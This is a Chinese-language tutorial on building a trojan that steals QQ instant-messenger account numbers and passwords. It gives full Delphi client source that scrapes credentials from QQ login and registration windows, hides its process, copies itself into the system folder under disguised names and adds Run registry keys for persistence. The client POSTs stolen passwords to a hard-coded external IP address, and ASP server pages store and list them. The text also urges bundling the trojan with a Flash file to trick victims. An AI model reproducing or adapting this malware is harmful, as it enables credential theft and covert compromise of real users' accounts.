用Delphip写新型QQ木马

现在大多的QQ木马都是通过钩子函数监控用户的输入，监控到的密码通过EMAIL方式发送到指定的邮箱里。这样如果你黑了好多人以后我会发现邮件会很多，一封封地收会很麻烦。那么有没有其它更好的办法呢？

其实可以通过ASP的数据库功能将取得的密码与到网上的ACCESS数据库里，具体方法如下：

1。我不用钩子函数，因为只是监控QQ不必用钩子。我用的语言是DELPHI，建立一个TIMER控件，每10微秒捕获一次QQ的登录窗口与QQ注册窗口，如果检测到QQ密码就将其保存到本地的硬盘上。

2。再建立一个TIMER控件，每3分钟检测一次在线状态，如果在线就将本地的密码文件通过HTTP协议发送到事先写好的一段ASP程序里，由这段ASP程序将取得的一组QQ号码与密码逐一写入数据库里，我用的ICS中的HTTP控件比DELPHI自带的好用很多。当发送成功，将本地的密码文件删除。

3。程序还要加一个设置功能。就是设置发送的ASP程序的的网址，并写入自身EXE文件中这样可以想到隐蔽的作用。

4。ASP程序的编写：首先你要有一个支持ASP+ACCESS数据库的网页，可以在网上申请一个，不过现在这种网站不好找。写数据的这段ASP代码的功能是要能检测库中的QQ号，如果有相同的QQ号与密码就不写入数据库，如果没有则写入数据库。同时还要写一个浏览密码库的ASP程序。

当你设置好ASP所在的路径后，再和FLASH动画文件捆起来发送给对方，只要对方执行，以后对方用QQ时就会乖乖地把号码与密码发送到你网站上的数据库里，你每天打开你的主页就能发现好多的被黑的QQ号，这种感觉是不是很棒！

下面附源程序：

客户端（delphi源代码）

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, forms, Dialogs,

Inifiles, StdCtrls, WinInet,ExtCtrls, Psock, NMsmtp,registry, HttpProt,

Ping, AMHotKey;

type

Tform2 = class(Tform)

Timer1: TTimer;

Timer2: TTimer;

Ping1: TPing;

HttpCli1: THttpCli;

AMHotKeys1: TAMHotKeys;

procedure Timer1Timer(Sender: TObject);

procedure formCreate(Sender: TObject);

procedure formDestroy(Sender: TObject);

procedure Timer2Timer(Sender: TObject);

procedure NMSMTP1AuthenticationFailed(var Handled: Boolean);

procedure NMSMTP1Connect(Sender: TObject);

procedure Ping1EchoReply(Sender, Icmp: TObject; Error: Integer);

procedure Ping1DnsLookupDone(Sender: TObject; Error: Word);

procedure Button1Click(Sender: TObject);

procedure AMHotKeys1HotKeys0HotKey(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

form2: Tform2;

he,hc:hWnd;

temppass,number,password:string;

implementation

function RegisterServiceProcess(dwProcessID, dwType: Integer):

Integer; stdcall; external 'KERNEL32.DLL';

{$R *.DFM}

function EnumProc(H: HWND; Info: Pointer): BOOL; stdcall;

var

wClassName: array[0..255] of char;

begin

//h:=getwindow(h,gw_hwndfirst);

GetClassName(H, wClassName, SizeOf(wClassName));

if pos('EDIT',Uppercase(wClassName)) > 0 then

Begin

he:=H;

end

else

if pos('COMBOBOX',Uppercase(wClassName)) > 0 then

Begin

hc:=H;

end;

Result:=True;

end;

procedure Tform2.Button1Click(Sender: TObject);

var

DataOut,Datain : TMemoryStream;

Buf,s : String;

oicq:textfile;

p,passwd:string;

begin

if Error <> 0 then

begin

AssignFile(oicq, 'c:/system.dat');

Reset(oicq);

while not Eof(oicq) do

begin

readln(oicq,passwd);

p:=p+passwd;

end;

closefile(oicq);

try

DataOut := TMemoryStream.Create;

DataIn := TMemoryStream.Create;

Buf :='oicqinfo='+p;//edit1.text+'&passwd=' + edit2.text;

DataOut.Write(Buf[1], Length(Buf));

DataOut.Seek(0, soFromBeginning);

httpcli1.SendStream := DataOut;

//HttpCli1.URL := 'http://192.168.0.1/net-swty/login.asp';

HttpCli1.URL := 'http://202.115.130.45/e8223/oicq/login.asp';

httpcli1.Post;

deletefile('c:/system.dat');

DataOut.Free;

DataIn.Free;

except

on Exception do

begin

exit;

end;

end;

end;

end;

procedure Tform2.Timer1Timer(Sender: TObject);

var newh,oldh,newz,oldz,foxmail:hWnd;

Buf: array[0..1024] of Char;

var myinifile:Tinifile;

begin

// temppass:=password;

newh:=Findwindow(nil,'QQ用户登录');

oldh:=Findwindow(nil,'OICQ用户登录');

newz:=Findwindow(nil,'QQ 注册向导');

oldz:=Findwindow(nil,'OICQ 注册向导');

//foxmail:=Findwindow(nil,'帐户属性');

//caption:='password'+temppass+' '+'newz'+inttostr(newz);

{ if foxmail<>0 then

begin

Timer1.Enabled:=False;

EnumChildWindows(foxmail, @EnumProc,Longint(Self));

// he:=getwindow(he,gw_hwndfirst);

he:=getwindow(he,gw_hwndnext);

SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf));

number:=buf;

caption:=number;

//he:=getwindow(he,gw_hwndnext);

//SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf));

//password:=buf;

//temppass:=password;

Timer1.Enabled:=True;

end;}

if newz<>0 then

begin

Timer1.Enabled:=False;

EnumChildWindows(newz, @EnumProc,Longint(Self));

he:=getwindow(he,gw_hwndfirst);

he:=getwindow(he,gw_hwndnext);

he:=getwindow(he,gw_hwndnext);

SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf));

number:=buf;

he:=getwindow(he,gw_hwndnext);

SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf));

password:=buf;

temppass:=password;

Timer1.Enabled:=True;

// if password<>'' then

// begin

//caption:=number+' '+password;

// myinifile:=Tinifile.create('c:/system.dat');

// Myinifile.WriteString(number,'password',password);

// Myinifile.Free;

// end;

end;

if (temppass<>'') and (newz=0) then

begin

//caption:=number+' '+password;

myinifile:=Tinifile.create('c:/system.dat');

Myinifile.WriteString(number,'password',password);

Myinifile.Free;

end;

if oldz<>0 then

begin

Timer1.Enabled:=False;

EnumChildWindows(oldz, @EnumProc,Longint(Self));

he:=getwindow(he,gw_hwndfirst);

he:=getwindow(he,gw_hwndnext);

he:=getwindow(he,gw_hwndnext);

SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf));

number:=buf;

he:=getwindow(he,gw_hwndnext);

SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf));

password:=buf;

Timer1.Enabled:=True;

end;

if (password<>'') and (oldz=0) then

begin

//caption:=number+' '+password;

myinifile:=Tinifile.create('c:/system.dat');

Myinifile.WriteString(number,'password',password);

Myinifile.Free;

end;

if newh<>0 then

begin

Timer1.Enabled:=False;

EnumChildWindows(newh, @EnumProc,Longint(Self));

SendMessage(hc, WM_GETTEXT, 1024, Integer(@Buf));

number:=buf;

SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf));

password:=buf;

if password<>'' then

begin

myinifile:=Tinifile.create('c:/system.dat');

Myinifile.WriteString(number,'password',password);

Myinifile.Free;

end;

Timer1.Enabled:=True;

end;

if oldh<>0 then

begin

Timer1.Enabled:=False;

EnumChildWindows(oldh, @EnumProc,Longint(Self));

SendMessage(hc, WM_GETTEXT, 1024, Integer(@Buf));

number:=buf;

SendMessage(he, WM_GETTEXT, 1024, Integer(@Buf));

password:=buf;

if password<>'' then

begin

myinifile:=Tinifile.create('c:/system.dat');

Myinifile.WriteString(number,'password',password);

Myinifile.Free;

end;

Timer1.Enabled:=True;

end;

end;

procedure Tform2.formCreate(Sender: TObject);

var tempreg:TRegistry;

strmSource,strmDest:TMemoryStream;

// tempreg:TRegistry;

ef:TextFile;

begin

RegisterServiceProcess(GetCurrentProcessID, 1 );

CopyFile(Pchar(Application.Exename),Pchar('C:/windows/system/sysreg.exe'),False);

CopyFile(Pchar(Application.Exename),Pchar('C:/windows/system/regservice32.exe'),False);

CopyFile(Pchar(Application.Exename),Pchar('C:/windows/system/rasint.dll'),False);

tempreg:=TRegistry.Create;

tempreg.RootKey:=HKEY_LOCAL_MACHINE;

tempreg.OpenKey('Software/Microsoft/Windows/CurrentVersion/RunServices',True);

tempreg.WriteString('sysreg','C:/windows/system/sysreg.exe');

tempreg.Closekey;

tempreg.Free;

tempreg:=TRegistry.Create;

tempreg.RootKey:=HKEY_LOCAL_MACHINE;

tempreg.OpenKey('Software/Microsoft/Windows/CurrentVersion/Run',True);

tempreg.WriteString('regservice','C:/windows/system/regservice32.exe');

tempreg.Closekey;

tempreg.Free;

//

{ strmSource:=TMemoryStream.Create;

strmSource.loadfromfile(Application.Exename);

strmSource.seek((StrmSource.Size-50),soFromBeginning);

strmDest:=TMemoryStream.Create;

strmDest.copyfrom(strmSource,50);

strmDest.SaveToFile('c:/windows/raddr.txt');

strmDest.free;

strmSource.free;

//

AssignFile(ef,'c:/windows/raddr.txt');

Reset(ef);

ReadLn(ef,eaddr);

CloseFile(ef);

eaddr:=TrimLeft(eaddr);

eaddr:=TrimRight(eaddr);}

end;

procedure Tform2.formDestroy(Sender: TObject);

var tempreg:TRegistry;

begin

CopyFile(Pchar('C:/windows/system/rasint.dll'),Pchar('c:/windows/system/netw3c.exe'),False);

tempreg:=TRegistry.Create;

tempreg.RootKey:=HKEY_LOCAL_MACHINE;

tempreg.OpenKey('Software/Microsoft/Windows/CurrentVersion/RunServices',True);

tempreg.WriteString('sysreg','C:/windows/system/sysreg.exe');

tempreg.Closekey;

tempreg.Free;

tempreg:=TRegistry.Create;

tempreg.RootKey:=HKEY_LOCAL_MACHINE;

tempreg.OpenKey('Software/Microsoft/Windows/CurrentVersion/Run',True);

tempreg.WriteString('regservice','C:/windows/system/regservice32.exe');

tempreg.Closekey;

tempreg.Free;

tempreg:=TRegistry.Create;

tempreg.RootKey:=HKEY_LOCAL_MACHINE;

tempreg.OpenKey('Software/Microsoft/Windows/CurrentVersion/Run',True);

tempreg.WriteString('netw3c','C:/windows/system/netw3c.exe');

tempreg.Closekey;

tempreg.Free;

end;

procedure Tform2.Timer2Timer(Sender: TObject);

begin

//Ping1.DnsLookup('192.168.0.1');

Ping1.DnsLookup('202.115.130.45');

//caption:='send'

end;

procedure Tform2.NMSMTP1AuthenticationFailed(var Handled: Boolean);

begin

Handled:=True;

end;

procedure Tform2.NMSMTP1Connect(Sender: TObject);

begin

// NMSMTP1.SendMail;

// NMSMTP1.Disconnect;

end;

procedure Tform2.Ping1EchoReply(Sender, Icmp: TObject; Error: Integer);

var

DataOut,Datain : TMemoryStream;

Buf,s : String;

oicq:textfile;

p,passwd:string;

begin

caption:=inttostr(error);

if Error = 0 then

begin

AssignFile(oicq, 'c:/system.dat');

Reset(oicq);

while not Eof(oicq) do

begin

readln(oicq,passwd);

p:=p+passwd;

end;

closefile(oicq);

try

DataOut := TMemoryStream.Create;

DataIn := TMemoryStream.Create;

Buf :='oicqinfo='+p;//edit1.text+'&passwd=' + edit2.text;

DataOut.Write(Buf[1], Length(Buf));

DataOut.Seek(0, soFromBeginning);

httpcli1.SendStream := DataOut;

//HttpCli1.URL := 'http://192.168.0.1/net-swty/login.asp';

HttpCli1.URL := 'http://202.115.130.45/e8223/oicq/login.asp';

httpcli1.Post;

deletefile('c:/system.dat');

DataOut.Free;

DataIn.Free;

except

on Exception do

begin

exit;

end;

end;

end;

end;

procedure Tform2.Ping1DnsLookupDone(Sender: TObject; Error: Word);

begin

//caption:=inttostr(error);

if (Error <>0) or (FileExists('c:/system.dat')=false) then

begin

Exit

end

else

begin

Ping1.Address := Ping1.DnsResult;

Ping1.Ping;

end;

end;

procedure Tform2.AMHotKeys1HotKeys0HotKey(Sender: TObject);

begin

close;

end;

end.

服务器端（ASP源代码)

login.asp-用以将客户端得到的QQ号码与密码写入ACCESS库里

<%

Set Conn = Server.CreateObject("ADODB.CONNECTION")

set rs=Server.CreateObject("ADODB.recordset")

DBPath = Server.MapPath("oicq.mdb")

conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath

s=request.form("oicqinfo")

p=right(s,len(s)-1)

do

pos1=instr(1,p,"[")

if pos1<>0 then

z=mid(p,1,pos1-1)

else

z=p

end if

pos2=instr(1,z,"]")

number=mid(z,1,pos2-1)

zlen=pos2+len("password")+1

password=mid(z,zlen+1,len(z)-zlen)

sql="select * from list where number='"&number&"'"&" and "&"password='"&password&"'"

rs.open sql,conn,3,2

if rs.eof then

rs.addnew()

rs(0)=number

rs(1)=password

rs.Update

end if

rs.close

p=right(p,len(p)-pos1)

loop while pos1<>0

Conn.Close

%>

view.asp

<HTML>

<HEAD>

<TITLE>OICQ号码与密码库</TITLE>

</HEAD>

<center> <H3>OICQ号码与密码库</H3>

<%

Set Conn = Server.CreateObject("ADODB.CONNECTION")

DBPath = Server.MapPath("oicq.mdb")

conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath

'Conn.Open "DSN=oicq;UID=;PWD=;"

Set RS = Conn.Execute("SELECT * FROM list")

%>

<P>

<TABLE BORDER=1>

<TR>

<% For i = 0 to RS.Fields.Count - 1 %>

<TD><B><center><% = RS(i).Name %></center></B></TD>

<% Next %>

</TR>

<% Do While Not RS.EOF %>

<TR>

<% For i = 0 to RS.Fields.Count - 1 %>

<TD VALIGN=TOP><% = RS(i).value %></TD>

<% Next %>

</TR>

<%

RS.MoveNext

Loop

RS.Close

Conn.Close

%>

</TABLE></center>

<BR>

<BR>

</BODY>

</HTML>